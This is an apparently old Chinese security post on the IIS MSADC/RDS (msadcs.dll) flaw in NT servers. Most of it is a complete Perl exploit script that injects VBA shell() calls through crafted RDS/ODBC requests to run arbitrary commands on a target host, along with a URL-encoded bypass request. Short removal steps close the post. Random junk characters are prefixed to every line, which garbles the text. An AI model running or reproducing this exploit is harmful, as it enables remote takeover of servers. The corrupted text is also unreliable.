IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Bk5 ELf8pL ) 3 f\H 涉及程序：
q^ &r<i Microsoft NT server
z/WGL X -=M>H^ 描述：
u35"oLV6}# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Ff
=%eg] VKlC`k8L 详细：
7G Erh, 如果你没有时间读详细内容的话，就删除:
`6# s+JA[ c:\Program Files\Common Files\System\Msadc\msadcs.dll
BbL]0i 有关的安全问题就没有了。
GZuWA a BT$Oh4y4 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
KP>1%ap6 2r+nr 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
%(K} 1[ 关于利用ODBC远程漏洞的描述，请参看:
DH i@ ujr f|/ ,eP$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm g "c7$ 2BT+[ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
(_3'nF g http://www.microsoft.com/security/bulletins/MS99-025faq.asp wQ9@
l P)Oe?z;G? 这里不再论述。
B"5x s QOPh3+.5 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
X1[zkb p"H /N_b4 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
cT&lkS 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
O69TU[Vn ~ *^o[~x]\ c@nh>G:y{& #将下面这段保存为txt文件，然后: "perl -x 文件名"
{F\P3-ub tehWGqx) #!perl
:hWG:` #
+ ^AAik<yl # MSADC/RDS 'usage' (aka exploit) script
;nAx@_ab^ #
VP~%,= # by rain.forest.puppy
z YWVz3l #
V|awbff: # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<y7Hy&&y- # beta test and find errors!
-H|!KnR YV>&v.x0; use Socket; use Getopt::Std;
d@b2XCh< K getopts("e:vd:h:XR", \%args);
(Gapv9R V pY,@qh print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
8b4?
O" XgeUS;qtta if (!defined $args{h} && !defined $args{R}) {
7xW Jw print qq~
)"2eN3H/ Usage: msadc.pl -h <host> { -d <delay> -X -v }
,4-],~T -h <host> = host you want to scan (ip or domain)
tuY= )? -d <seconds> = delay between calls, default 1 second
9JIL K9mVO -X = dump Index Server path table, if available
C } L2'l, -v = verbose
*&+z I$u( -e = external dictionary file for step 5
W(-son~I 0&\71txrzg Or a -R will resume a command session
a^[s[j#^, .vi0D uD6 ~; exit;}
^4Se=Hr
z2 uFlf #t
= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:C0)[L if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
z?UEn#E2 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
nhZ/^`Y< if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
PTXS8e4 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:w4N*lV- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
m?8o\|i, WqCj;Tj| if (!defined $args{R}){ $ret = &has_msadc;
N_ +D#Z.g die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
adgd7JjI* G_ ~qk/7mF print "Please type the NT commandline you want to run (cmd /c assumed):\n"
r5$!41 . "cmd /c ";
YZ<5-C $in=<STDIN>; chomp $in;
``{GU }n $command="cmd /c " . $in ;
x>A[~s"|N xnw' &E if (defined $args{R}) {&load; exit;}
(VHPcoL :ee vc7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
R 4DfqX &try_btcustmr;
:RBeq,QaO >Af0S;S print "\nStep 2: Trying to make our own DSN...";
Z;0<k;#T(p &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
t9lf=+%s <1_3`t print "\nStep 3: Trying known DSNs...";
-0NkAQ rg &known_dsn;
[I<J6= >dwWqcP print "\nStep 4: Trying known .mdbs...";
Lso%1M &known_mdb;
mW,b#'hy OekE]`~w if (defined $args{e}){
'bg'^PN>z print "\nStep 5: Trying dictionary of DSN names...";
=k1sF3.V'c &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
']1a nCA~=[&H print "Sorry Charley...maybe next time?\n";
s8' ;4z exit;
I'2I'x\M !>kg:xV ##############################################################################
%`/ F> ` ]<Q& sub sendraw { # ripped and modded from whisker
fy&u[Jd{ sleep($delay); # it's a DoS on the server! At least on mine...
qamq9F$V my ($pstr)=@_;
M}=>~T A@ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[l<&eI&ln die("Socket problems\n");
A2P.5EN if(connect(S,pack "SnA4x8",2,80,$target)){
Cj YI * select(S); $|=1;
2)QZYgfh print $pstr; my @in=<S>;
5rQu^6& select(STDOUT); close(S);
.O&YdUo return @in;
uy<b5.!- } else { die("Can't connect...\n"); }}
#hXvGon$? +u&3pK>f ##############################################################################
t/3qD7L $}us+hGZ sub make_header { # make the HTTP request
-<" ;|v4 my $msadc=<<EOT
3&+ nV1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
#|=lU4Bf User-Agent: ACTIVEDATA
'Ddzlip Host: $ip
hyhm{RC?[ Content-Length: $clen
6
Pdao{P Connection: Keep-Alive
q{f (T\ rD !GEU ADCClientVersion:01.06
'cc{sjG Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Np$ue
}yr GsiKL4|mj --!ADM!ROX!YOUR!WORLD!
h 1f 05 Content-Type: application/x-varg
HoeW6U V Content-Length: $reqlen
3Lv5 >[MnN S{{wcH$n'i EOT
H"?Ndl: ; $msadc=~s/\n/\r\n/g;
IaO&f<^#o return $msadc;}
~K(mt0T ) 2j ]uB0 ##############################################################################
$Ny: At T&Z*=ShH sub make_req { # make the RDS request
`9\^.g) my ($switch, $p1, $p2)=@_;
g{K \ my $req=""; my $t1, $t2, $query, $dsn;
m )r , j;-2)ZLm if ($switch==1){ # this is the btcustmr.mdb query
2dbn~j0 $query="Select * from Customers where City=" . make_shell();
J
L1]auO* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
aH_FBY $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
k_gl$`A 79h'sp6; elsif ($switch==2){ # this is general make table query
T?tZ?!6 $query="create table AZZ (B int, C varchar(10))";
la^K|!| $dsn="$p1";}
_({wJ$aYC # 00?]6`z elsif ($switch==3){ # this is general exploit table query
gplrJ aH@ $query="select * from AZZ where C=" . make_shell();
i#*lK7 $dsn="$p1";}
7m:TY> { nXjSf elsif ($switch==4){ # attempt to hork file info from index server
&78lep $query="select path from scope()";
-uhVw_qq # $dsn="Provider=MSIDXS;";}
^7=h%{ >= >Dz8+y elsif ($switch==5){ # bad query
,V zbKx, $query="select";
gebL6oc% $dsn="$p1";}
?H_>?,^ \pP1k.~UnC $t1= make_unicode($query);
4Bt)t#0 $t2= make_unicode($dsn);
T!^v^m@>y $req = "\x02\x00\x03\x00";
E #!.;AQ $req.= "\x08\x00" . pack ("S1", length($t1));
&(|Ot`el]v $req.= "\x00\x00" . $t1 ;
]c6h'} $req.= "\x08\x00" . pack ("S1", length($t2));
4 C *0MV $req.= "\x00\x00" . $t2 ;
k(@W
z>aCv $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
OgHqF,0MN return $req;}
]M~ 7L[ u0qTP] ##############################################################################
FiXqypT_( F4ylD5Y! sub make_shell { # this makes the shell() statement
x<.(fRv return "'|shell(\"$command\")|'";}
^}J,;Zhu5 )d|s$l$?7 ##############################################################################
#6pJw?[ J2Qt! - sub make_unicode { # quick little function to convert to unicode
h*3{IHAQ my ($in)=@_; my $out;
5Z=GFKf| for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Il# ST return $out;}
_c(h{ dn iI &z5Q2 ##############################################################################
XdnpL$0 3/]~#y%2 sub rdo_success { # checks for RDO return success (this is kludge)
_p^Wc.[~M my (@in) = @_; my $base=content_start(@in);
_!w69>Nj if($in[$base]=~/multipart\/mixed/){
J.O{+{&cd return 1 if( $in[$base+10]=~/^\x09\x00/ );}
KJs`[,;< return 0;}
K b'4W-&u! LX =cx$ K ##############################################################################
%Z-xh< & u 7 <VD sub make_dsn { # this makes a DSN for us
+&E\w,Vq^ my @drives=("c","d","e","f");
]!s@FKC{; print "\nMaking DSN: ";
b tbu E foreach $drive (@drives) {
z<J2e^j print "$drive: ";
EZT 8^m my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
$
% B "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
*Y!RU{w+Z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
b~<:k\EE $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
f >&*%[fw return 0 if $2 eq "404"; # not found/doesn't exist
6^2='y~e if($2 eq "200") {
%:sP #BQM foreach $line (@results) {
"_= t1UE return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]K%d } return 0;}
,?+uQXfXR +I}!)$/ ##############################################################################
$Yw~v36`t/ 8>x d sub verify_exists {
Lg7dJnf my ($page)=@_;
Y@ vC!C my @results=sendraw("GET $page HTTP/1.0\n\n");
~aXJ5sY"f& return $results[0];}
,kl``w|1M *)vy%\ ##############################################################################
R0|4KT-i 7$ 8DMBqq sub try_btcustmr {
-M 4VC^_ my @drives=("c","d","e","f");
IIF <Zkpb my @dirs=("winnt","winnt35","winnt351","win","windows");
$if(n|| rX)_!mR foreach $dir (@dirs) {
]u:Ij|.'y0 print "$dir -> "; # fun status so you can see progress
_94R8?\_V7 foreach $drive (@drives) {
w$ ""])o, print "$drive: "; # ditto
o"kL, & $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_lC0XDZ $reqlenlen=length( "$reqlen" );
" {c@}~ $clen= 206 + $reqlenlen + $reqlen;
g[\8s~g, -"XHN=H my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7|o}m}yVx if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%zhSSB =BJ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
3T [zieX ,vBB". LY' ##############################################################################
zz8NBO z(#dL>d$' sub odbc_error {
n;~'W*Ln0 my (@in)=@_; my $base;
Qo*OC 9E` my $base = content_start(@in);
1)f < if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>g l.ILo $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o> &-B.zq $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y I[kaH"J $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9! yDZ<s return $in[$base+4].$in[$base+5].$in[$base+6];}
BL-7r=Z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
6_:KFqc W print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
de f\=WyK $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
x&$8;2 &. Digx#'#jf ##############################################################################
!FvL2 L v+( P 4f S sub verbose {
i?|u$[^=+ my ($in)=@_;
m @)Ya*=< return if !$verbose;
= GiN~$d print STDOUT "\n$in\n";}
phwBil-vUU t@iw&> 8z ##############################################################################
PO|gM8E1x? nj-LG!"a sub save {
J<&?Hb*| my ($p1, $p2, $p3, $p4)=@_;
Zq:c2/\c} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
3-)R' print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
L D%SL J: close OUT;}
NS "1zR+ <S12=<c?' ##############################################################################
DU-dIq i HHOqJb{8S sub load {
AXv-%k}; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
e488}h6#m open(IN,"<rds.save") || die("Couldn't open rds.save\n");
WtXf~ :R @p=<IN>; close(IN);
|EY1$qItid $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
&y-z[GR[{ $target= inet_aton($ip) || die("inet_aton problems");
D}N4*L1 print "Resuming to $ip ...";
v|@EuN14< $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
db>"2EE if($p[1]==1) {
klTRuU ( $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
cqcH1aSv $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'>T hn{ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
&gI*[5v
if (rdo_success(@results)){print "Success!\n";}
:w7?]y6~S else { print "failed\n"; verbose(odbc_error(@results));}}
F| P?| elsif ($p[1]==3){
/ !60oV4p0 if(run_query("$p[3]")){
Q@ *9|6- print "Success!\n";} else { print "failed\n"; }}
(^]3l%Ed elsif ($p[1]==4){
/PG%Y]l0b if(run_query($drvst . "$p[3]")){
^KV:.up6 print "Success!\n"; } else { print "failed\n"; }}
vOl3utu7 exit;}
2Tv
W 6 $F]* B
` ##############################################################################
g' EPdE b27t-p8 sub create_table {
Rhw+~gd*F my ($in)=@_;
s~c cx"HH $reqlen=length( make_req(2,$in,"") ) - 28;
KbH |'/w $reqlenlen=length( "$reqlen" );
6 B}V{2 $clen= 206 + $reqlenlen + $reqlen;
Un&rP70 my @results=sendraw(make_header() . make_req(2,$in,""));
Dw,LB>Eq, return 1 if rdo_success(@results);
n>)h9q S my $temp= odbc_error(@results); verbose($temp);
cmY `$= return 1 if $temp=~/Table 'AZZ' already exists/;
)"63g return 0;}
&M=15 uCK IiY %y:!g ##############################################################################
Bm6t f}8 w ,X J8+B sub known_dsn {
.g.g lQ_~= # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
3.rl^Cq1 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
*r|1 3|k "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#fXy4iL l "banner", "banners", "ads", "ADCDemo", "ADCTest");
%2^V.`0T 9j5B(_J^ foreach $dSn (@dsns) {
XMaw:Fgr print ".";
z$VVt ?K next if (!is_access("DSN=$dSn"));
GY"c1 KE$ if(create_table("DSN=$dSn")){
kc2
8Q2 print "$dSn successful\n";
jV<5GWq if(run_query("DSN=$dSn")){
+^.xLTX`$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]jR-<l8I- print "Something's borked. Use verbose next time\n";}}} print "\n";}
L\"eE'A {#&D=7LP ##############################################################################
JtF)jRB0, {
3 "jn sub is_access {
i;:}{G< my ($in)=@_;
&7Xsn^opku $reqlen=length( make_req(5,$in,"") ) - 28;
~N )(|N $reqlenlen=length( "$reqlen" );
$-(lp0\*
$clen= 206 + $reqlenlen + $reqlen;
_6L'}X$)N my @results=sendraw(make_header() . make_req(5,$in,""));
YI]/gWeu my $temp= odbc_error(@results);
%2beo H' verbose($temp); return 1 if ($temp=~/Microsoft Access/);
;x/. 8fA return 0;}
9MbF: fS%B/h= ##############################################################################
"Q{7X[$$^ u=0161g sub run_query {
U? Vik my ($in)=@_;
]UZP dw1D $reqlen=length( make_req(3,$in,"") ) - 28;
ghk"XJ| $reqlenlen=length( "$reqlen" );
"i!W(}x + $clen= 206 + $reqlenlen + $reqlen;
C\ 3 4R my @results=sendraw(make_header() . make_req(3,$in,""));
6HH:K0j 3' return 1 if rdo_success(@results);
u5`b")a my $temp= odbc_error(@results); verbose($temp);
%iZ~RTY6 ! return 0;}
qr~zTBT]
E P7 5@Yu( ##############################################################################
*~.'lE%[U ~ x J#NC+ sub known_mdb {
X od/GY G my @drives=("c","d","e","f","g");
Q{
{ = my @dirs=("winnt","winnt35","winnt351","win","windows");
#.LI `nYA my $dir, $drive, $mdb;
vp dT2/F my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
NYR:dH]N~d .{(gku>g( # this is sparse, because I don't know of many
:1 ~4X my @sysmdbs=( "\\catroot\\icatalog.mdb",
kAW 2vh "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
r] S"i$ "\\system32\\certmdb.mdb",
4OG 1_6K "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i\*
b<V %V(U]sbV my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
8C I\NR{x8 "\\cfusion\\cfapps\\forums\\forums_.mdb",
W>[TFdH? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
s2#}@b6'. "\\cfusion\\cfapps\\security\\realm_.mdb",
<co:z<^lqu "\\cfusion\\cfapps\\security\\data\\realm.mdb",
*QoQ$alHH "\\cfusion\\database\\cfexamples.mdb",
A'*#UYn( "\\cfusion\\database\\cfsnippets.mdb",
LDDt=HEY4 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
GMpg+rK "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$6d5W=u$H "\\cfusion\\brighttiger\\database\\cleam.mdb",
K)eyFc "\\cfusion\\database\\smpolicy.mdb",
.AF\[IQ "\\cfusion\\database\cypress.mdb",
k~JTQh*,w "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
.8wF>
8 "\\website\\cgi-win\\dbsample.mdb",
S= $ \S9 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
%)e&"mq!| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
hF1Lj=x ); #these are just
]v_u2f' foreach $drive (@drives) {
(62Sc] foreach $dir (@dirs){
.pb lI foreach $mdb (@sysmdbs) {
l?HC-_Pbh print ".";
u!McPM8Yk if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
<JW %h :\t print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
7&Ie3[Rm_3 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
-r[O _[g w print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
:GM3n$ } else { print "Something's borked. Use verbose next time\n"; }}}}}
`/(9 # E Lv # }Gm foreach $drive (@drives) {
Zb+n\sv4 foreach $mdb (@mdbs) {
IY hn* print ".";
^[q/w<_j~ if(create_table($drv . $drive . $dir . $mdb)){
1W7ClT_cQ print "\n" . $drive . $dir . $mdb . " successful\n";
"_\77cqpTh if(run_query($drv . $drive . $dir . $mdb)){
[6nN]U~ Y print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
\WZSY||C|_ } else { print "Something's borked. Use verbose next time\n"; }}}}
&B$%|~Y5 }
d 0:;IUG 0aYoc-( A ##############################################################################
e )] =b Q\BY# sub hork_idx {
^KQZ;[B print "\nAttempting to dump Index Server tables...\n";
:=K+~?
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
cq$ _$jRx $reqlen=length( make_req(4,"","") ) - 28;
A!a.,{fZ $reqlenlen=length( "$reqlen" );
Xzqx 8Kd $clen= 206 + $reqlenlen + $reqlen;
WogCt, my @results=sendraw2(make_header() . make_req(4,"",""));
T t$]
[ if (rdo_success(@results)){
gc W' my $max=@results; my $c; my %d;
YOY2K%o for($c=19; $c<$max; $c++){
@680.+Kw $results[$c]=~s/\x00//g;
= @lM* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Uf|@h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
rW *[sL l3 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
2Xv$ $d{"$1$2"}="";}
6<YA oo foreach $c (keys %d){ print "$c\n"; }
t]ID } else {print "Index server doesn't seem to be installed.\n"; }}
0 l+Jq k
jx<;##R8 ##############################################################################
:79u2wSh <
WQ
~X<1D sub dsn_dict {
<Q_E3lQy/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
48.4Gw L7 while(<IN>){
1CS\1[E $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
N \woFrG next if (!is_access("DSN=$dSn"));
I@( 3~ A b if(create_table("DSN=$dSn")){
*~zB { print "$dSn successful\n";
$/Llzpvny if(run_query("DSN=$dSn")){
w[u >*I print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5#dJga/88 print "Something's borked. Use verbose next time\n";}}}
z :A_ print "\n"; close(IN);}
HzAw
rC 3O|2Z~>3 ##############################################################################
N <M6~ 352RJC sub sendraw2 { # ripped and modded from whisker
{ ^R>H|~ sleep($delay); # it's a DoS on the server! At least on mine...
,be$ ~7qS my ($pstr)=@_;
/ LLo7" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$,nidK!" die("Socket problems\n");
Ru$%gh>v if(connect(S,pack "SnA4x8",2,80,$target)){
/'bX}H(dq print "Connected. Getting data";
{@[#0gPH open(OUT,">raw.out"); my @in;
@= {
qy} select(S); $|=1; print $pstr;
pwA~?$B1 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=TA8]7S~U close(OUT); select(STDOUT); close(S); return @in;
I.U=% {. } else { die("Can't connect...\n"); }}
<9S 5 FMT_X ##############################################################################
HcGbe37Xq ]ts^h~BZ$ sub content_start { # this will take in the server headers
8>|<m'e^\r my (@in)=@_; my $c;
$|I hO for ($c=1;$c<500;$c++) {
qU , {jD$ if($in[$c] =~/^\x0d\x0a/){
p & i+i if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
MSe >1L2= else { return $c+1; }}}
A H^ud*3F return -1;} # it should never get here actually
IB^vEY!`6_ jM>;l6l ##############################################################################
R= S)O.*R EfX,0Nq T sub funky {
^$y`Q@-9 my (@in)=@_; my $error=odbc_error(@in);
USKC, &6&} if($error=~/ADO could not find the specified provider/){
O ] t)`+%q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
}D!o=Mg^ exit;}
VL$?vI' if($error=~/A Handler is required/){
U[hokwZ print "\nServer has custom handler filters (they most likely are patched)\n";
)Dyyb1 \) exit;}
UryHte if($error=~/specified Handler has denied Access/){
f;bVzti+w print "\nServer has custom handler filters (they most likely are patched)\n";
`_OB_F exit;}}
4XSq\.@G eRg;)[#0>$ ##############################################################################
o v1#BeQ ob9=/ R?i sub has_msadc {
Xv xrz{ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
,v#3A7"yW my $base=content_start(@results);
0hq\{pw_y* return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
n]3Z~HoZ return 0;}
:#=B wdC m[hHaX ########################
Q }1qt4xy* -# r= 'K| F{K 解决方案：
4Dasj8GsV 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
pJ/{X=y 2、移除web 目录: /msadc
